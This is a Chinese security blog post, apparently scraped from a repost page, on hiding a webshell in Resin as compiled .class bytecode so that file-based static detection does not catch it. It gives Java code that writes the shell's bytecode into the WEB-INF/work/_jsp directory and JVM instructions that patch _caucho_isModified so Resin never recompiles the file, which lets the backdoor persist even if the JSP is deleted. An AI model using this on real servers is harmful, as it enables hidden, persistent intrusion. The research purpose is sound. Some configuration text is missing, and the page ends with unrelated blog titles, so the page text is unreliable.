「声明:本博客中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

0x01 背景

Webshell一般是指以服务端动态脚本形式存在的一种网页后门。在入侵检测的过程中,检测Webshell无疑是一大重点。比较常见的检测手法有:

文件内容检测(静态检测)

文件行为检测(动态检测)

网络异常流量分析

……

其中,静态检测是比较简单有效的检测Webshell的手段之一。根据Webshell的文件特征建立异常模型,并使用大量的Webshell样本对模型进行训练,通过诸如异常函数、关键代码以及文件内容与普通业务代码的相似度等等关键点来进行分析检测。

然而在笔者工作中却发现,如果Webshell脱离了服务端脚本页面形式的存在,基于文件特征的静态检测又将面临怎样的困境?我们不妨一起来看看。

0x02 JavaWeb应用

在Java Web应用中,Servlet是Java语言实现的一个接口,用于编写服务端程序

JSP作为HttpServlet的扩展,使用HTML的书写格式,在适当的地方加入Java代码片段,从而动态生成页面内容。JSP在首次被访问时,JSP应用容器(应用服务器中用于管理Java组件的部分)将其转换为Java Servlet代码,并编译成.class字节码文件并执行。而下次该JSP文件被访问时,服务器将直接调用Servlet进行处理,除非JSP文件被修改。

比如,在Apache Tomcat中,它提供了一个Jasper编译器用以将JSP编译成对应的Servlet。在JSP文件被访问后,在workDir生成对应的servlet源码与编译后的.class字节码文件。

JSP编译生成的.class文件默认存放在$CATALINA_BASE/work下,存放路径也可以通过Server.xml等配置文件中的Host标签的workDir属性进行配置

workDir="/home/tomcat_run_user/other_work_dir">

....

JSP文件再次被访问时,Tomcat会直接调用已编译好的字节码文件。当文件被修改,Tomcat会重新解析JSP文件,生成Servlet代码并编译执行。当文件被删除时,Tomcat返回404 Not Found。

而在在配置文件$CATALINA_BASE/conf/web.xml中,当Jasper运行在开发模式下时,我们可以配置modificationTestInterval参数,控制Tomcat在一定时间之内不检查JSP文件的修改状态

设想,如果可以关闭Java容器对JSP文件修改状态的检查,是否可以将恶意代码存放在workDir的.class字节码中,并通过JSP形式持久访问?

0x03 Resin

我们注意到了另一款非常流行且性能优良的企业级应用服务器——Resin。Resin同样提供了Servlet和JSP运行引擎。

可以看到默认情况下,初次访问JSP后,Resin会在./WEB-INF/work/_jsp目录下生成Servlet源码和编译后的.class字节码文件。

└── webapps

└── ROOT

├── index.jsp

└── WEB-INF

├── classes

├── tmp

├── web.xml

└── work

└── _jsp

├── _index__jsp.class

├── _index__jsp.java

├── _index__jsp.java.smap

└── _index__jsp$TagState.class

与Apache Tomcat不同的是,Resin生成并编译Servlet之后,可以在JSP文件被删除的情况下,正常提供访问。

查看Resin生成的JSP对应的Servlet源码发现,生成的代码内包含了检查JSP文件修改状态相关方法:_caucho_isModified()。

我们来看看这部分源码中的关键逻辑:

public class _index__jsp extends com.caucho.jsp.JavaPage

{

private boolean _caucho_isDead;

private boolean _caucho_isNotModified;

protected void _caucho_setNeverModified(boolean isNotModified)

{

_caucho_isNotModified = true;

}

public boolean _caucho_isModified()

{

if (_caucho_isDead)

return true;

if (_caucho_isNotModified)

return false;

if (com.caucho.server.util.CauchoSystem.getVersionId() != -8002497470487589159L)

return true;

return _caucho_depends.isModified();

}

public void init(com.caucho.vfs.Path appDir)

throws javax.servlet.ServletException

{

...

depend = new com.caucho.vfs.Depend(appDir.lookup("index.jsp"), -122100326514986033L, false);

_caucho_depends.add(depend);

loader.addDependency(depend);

}

public void destroy()

{

_caucho_isDead = true;

super.destroy();

...

}

...

}

Servlet启动时,Resin会调用init()方法,结束时会调用destroy()方法

public Depend(Path source, long digest, boolean requireSource)

requireSource为True时,如果JSP文件被删除则服务器返回404。默认为false,所以当已编译的JSP文件被删除时,Resin并不会判定该JSP页面被修改,依然会执行对应的字节码。

可以看到,Resin判断一个JSP文件是否修改的逻辑为

当web.xml中配置autoCompile属性为false时,Resin会关闭对JSP文件的自动编译,调用_caucho_setNeverModified()方法,从而不会检查JSP文件修改状态。

web.xml

0x04 Binary JSP Webshell

由于Resin这些特性,我们可以用JSP将Webshell字节码写入对应的路径下,即可得到一个二进制形式存在的JSP Webshell。这个Resin自动编译存放的代码目录路径可以通过标签自定义配置,默认为WEB-INF/work目录

pathto\test

pathto\WEB-INF\work_sc

pathto\WEB-INF\tmp_sc

......

如:默认配置下,利用JSP写入二进制字节码Webshell:

FileOutputStream file_out=new FileOutputStream("./webapps/ROOT/WEB-INF/work/_jsp/_comm__jsp.class");

FileOutputStream file_out_tag=new FileOutputStream("./webapps/ROOT/WEB-INF/work/_jsp/_comm__jsp$TagState.class");

byte[] _jsp_class = {(byte)0xca,(byte)0xfe,(byte)0xba,......};

byte[] _jsp_tag_class = {(byte)0xca,(byte)0xfe,(byte)0xba,(byte)0xbe,......};

file_out.write(_jsp_class,0,_jsp_class.length);

file_out_tag.write(_jsp_tag_class,0,_jsp_tag_class.length);

file_out.close();

file_out_tag.close();

%>

利用脚本中Webshell的字节码内容可以在本地Resin服务器环境中编译获得,但是由于编译和运行的Resin版本不一致会被判定JSP文件已修改,从而被重新编译,这不是我们想看到的。如0x03小节中所说,Resin中判断JSP是否修改的逻辑包含在JSP对应的Servlet代码中,于是我们可以篡改这部分字节码中的逻辑,使得_caucho_isModified()函数永远返回false,JVM指令如下:

aload_0

getfield _jsp/_comm__jsp/_caucho_isDead Z

ifeq 6

iconst_0

ireturn

aload_0

getfield _jsp/_comm__jsp/_caucho_isNotModified Z

ifeq 11

iconst_0

ireturn

invokestatic com/caucho/server/util/CauchoSystem/getVersionId()J

ldc2_w 431137076814425723

lcmp

ifeq 17

iconst_0

ireturn

aload_0

getfield _jsp/_comm__jsp/_caucho_depends Lcom/caucho/make/DependencyContainer;

iconst_0

ireturn

测试效果如下:利用write_binary_shell.jsp文件,将字节码webshell写入对应的目录下,即可通过访问对应的JSP文件来访问Webshell。

由于篡改了相关的判断逻辑,无论Web是否存在同名JSP文件,Resin依然会优先解析到该字节码Webshell。

├── webapps

│   └── ROOT

│   ├── index.jsp

│   ├── WEB-INF

│   │   ├── classes

│   │   ├── tmp

│   │   ├── web.xml

│   │   └── work

│   │   └── _jsp

│   │   ├── _comm__jsp.class

│   │   └── _comm__jsp$TagState.class

│   └── write_binary_shell.jsp

0x05 References

https://zh.wikipedia.org/wiki/Java_Servlet ↩

https://tomcat.apache.org/tomcat-8.0-doc/config/host.html ↩

https://tomcat.apache.org/tomcat-8.0-doc/jasper-howto.html ↩

http://www.caucho.com/resin-3.1/doc/servlet.xtp ↩

http://www.caucho.com/resin-4.0/admin/config-el-ref.xtp#work-dir ↩

.java.smap_利用Java Binary Webshell对抗静态检测相关推荐

  1. java 提现,利用java实现提现金额到支付宝账户的功能,提现一万手续费多少

    利用java实现提现金额到支付宝账户的功能利用爪哇岛实现提现金额到支付宝账户的功能, 实现步骤具体如下: (学习视频分享:java教学视频) 1.导入依赖 属国 groupIdcom.alipay.s ...

  2. ppt html java,怎么利用Java将PPT幻灯片转为HTML?

    下面以Java程序代码为例展示如何通过格式转换的方式将PPT幻灯片文档转为HTML文件.这里的PPT幻灯片可以是.ppt/.pptx/.pps/.ppsx/.potx等格式. 代码实现思路:[加载PP ...

  3. JAVA Email——利用java完成发送电子邮件(包括附件)

    考虑这个问题之前我们先来看一下传统的邮件是如何发送的.传统的邮件是通过邮局投递,然后从一个邮局到另一个邮局,最终到达用户的邮箱.电子邮件的发送过程也是类似 的,只不过是电子邮件是从用户电脑的邮件软件, ...

  4. 利用Java编写手机应用程序PalmOS基础篇

    作者:王森 相信大家一定會發現,最近到處都是嵌入式系統(embedded system)的新聞.而目前也已經有不少國內外廠商推出各式各樣的PDA(Personal Digital Assistant, ...

  5. 利用Java生成静态HMTL页面的方法收集

    利用Java生成静态HMTL页面的方法收集 生成静态页面技术解决方案之一 转载者前言:这是一个全面的jsp动态页面静态化方案,本站的帖子静态化方案将借鉴这篇帖子中方法.向[url]http://www ...

  6. 利用java虚拟机的工具jmap分析java内存情况

    2019独角兽企业重金招聘Python工程师标准>>> 有时候碰到性能问题,比如一个java application出现out of memory,出现内存泄漏的情况,再去修改bug ...

  7. 利用Java存储过程简化数据库操作

       利用Java存储过程沟通SQL.XML.Java.J2EE和Web服务. 存储过程(stored procedure)允许将运行于数据库层中的持久性逻辑与运行于中间层中的商务逻辑有效地分离开来. ...

  8. java jmap 分析_利用java虚拟机的工具jmap分析java内存情况

    有时候碰到性能问题,比如一个java application出现out of memory,出现内存泄漏的情况,再去修改bug可能会变得异常复杂,利用工具去分析整个java application 内 ...

  9. java判断是否第一次出现_利用java判断字符首次出现的位置,java替换最后一个特定字符...

    利用java判断字符首次出现的位置利用爪哇判断字符首次出现的位置, 目的: (学习视频分享:java视频教程 实现代码如下: 导入Java.util.收藏品: 导入Java.util.LinkedLi ...

  10. 利用java开发简易版扫雷游戏

    1.简介 学了几周的Java,闲来无事,写个乞丐版的扫雷,加强一下Java基础知识. 2.编写过程 编写这个游戏,一共经历了三个阶段,编写了三个版本的游戏代码. 第一版:完成了扫雷游戏的基本雏形,实现 ...

最新文章

  1. SpringBoot 编写ajax可以访问的接口
  2. fastdfs安装_FastDFS 安装部署文档
  3. Matplotlib绘图双纵坐标轴设置及控制设置时间格式
  4. Kettle 合并记录报错!
  5. 【最详细】测试点分析_1051 复数乘法 (15分)_14行代码AC
  6. CentOS 6.4利用xampp安装bugfree3
  7. 【51单片机快速入门指南】6.4:DHT11、DHT22单总线温湿度传感器
  8. 前端和后端的英文_计算机专业的本科生在前端、后端、测试和运维之间该如何选择...
  9. 操作系统原理 —— 操作系统概述
  10. java list find方法_Java 8 Stream - Find Max and Min from List - 入门小站-rumenz.com
  11. python编写登录接口_使用python编写一个登录接口
  12. SSH面试常被问到的问题
  13. Wonderware-InTouch 服务器Windows Server 2012 R2系统安装intouch2017
  14. xlsx xlsx-style 设置导出的exce表格样式
  15. MATLAB-图像分割
  16. 内存不能为read进不去桌面_纯小白向:AMD平台内存超频教程,附金士顿FuryDDR4 3200超频实战...
  17. SAP SEGW 事物码里的 ABAP 类型和 EDM 类型映射的一个具体例子
  18. 普通的dub的sdl配置
  19. cocos creator麻将教程系列(八)—— 达达麻将语音聊天源码分析
  20. 相机的内参会改变吗_关于相机内参中的焦距fx和fy

热门文章

  1. vht160什么意思_802.11n 中HT20 HT40是什么意思
  2. macd底背离的python_Python量化交易之MACD#39;顶底背离#39;形态的实现,自动化交易!...
  3. 计算机网络的雏形为,计算机网络的发展雏形是什么(图文)
  4. php校花评比排名,投票|佛山“校花”颜值大比拼,快来选出你最爱的!
  5. excel单元格斜线_个人永久性免费-Excel催化剂功能第74波-批量排版格式利器,瞬间美化表格...
  6. Universally Slimmable Networks and Improved Training Techniques
  7. 期货大佬给交易者的交易箴言,值得珍藏品读!
  8. andriod studio git
  9. Dubbo thread pool is exhausted
  10. 4.7 电源管理 第五部分 ---- Windows CE设备驱动开发之电源管理